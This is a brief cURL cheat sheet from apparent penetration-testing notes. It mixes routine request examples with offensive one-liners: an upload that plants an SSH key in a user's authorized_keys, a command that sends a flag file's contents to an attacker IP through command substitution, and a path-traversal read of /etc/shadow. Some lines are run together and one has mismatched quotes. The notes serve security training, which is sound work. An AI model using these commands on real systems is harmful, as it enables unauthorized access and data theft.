cURL
Usage
curl http://example.com# When -d is used it defaults to POST
curl -d 'username=user&password=pass' http://example.com/register
# Upload a file via multipart/form-data
curl -X POST http://<target-IP>/file-upload -H "Content-Type: application/x-pem-file" -F file=@id_rsa.pub -F filename=/home/bob/.ssh/authorized_keys --proxy 127.0.0.1:8080# Defaults to 'application/x-www-form-urlencoded'
curl -H 'Content-Type: application/json" -d '{"username":"user","password":"pass"}' http://example.com/register# Defaults to returns just the response body
curl -i http://example.com/registercurl -L <URL>curl -s <URL> -L -o /dev/null -w "%{http_code}"curl <URL> | json_ppcurl http://10.10.14.10/$(type c:\users\administrator\desktop\flag.txt)When testing File Inclusion vulnerablities with curl use the --path-as-is option which tells curl not to normalize or modify the URL path. Normally, curl (and many HTTP clients) normalize paths by resolving or decoding things like: . and .. in URLs, encoded characters like %2F into /, duplicate slashes //, etc. which can sometimes change the actual request path sent to the server.
x7331@kali:~$ curl --path-as-is http://localhost:7777/../../../../../../../../etc/shadowLast updated
Was this helpful?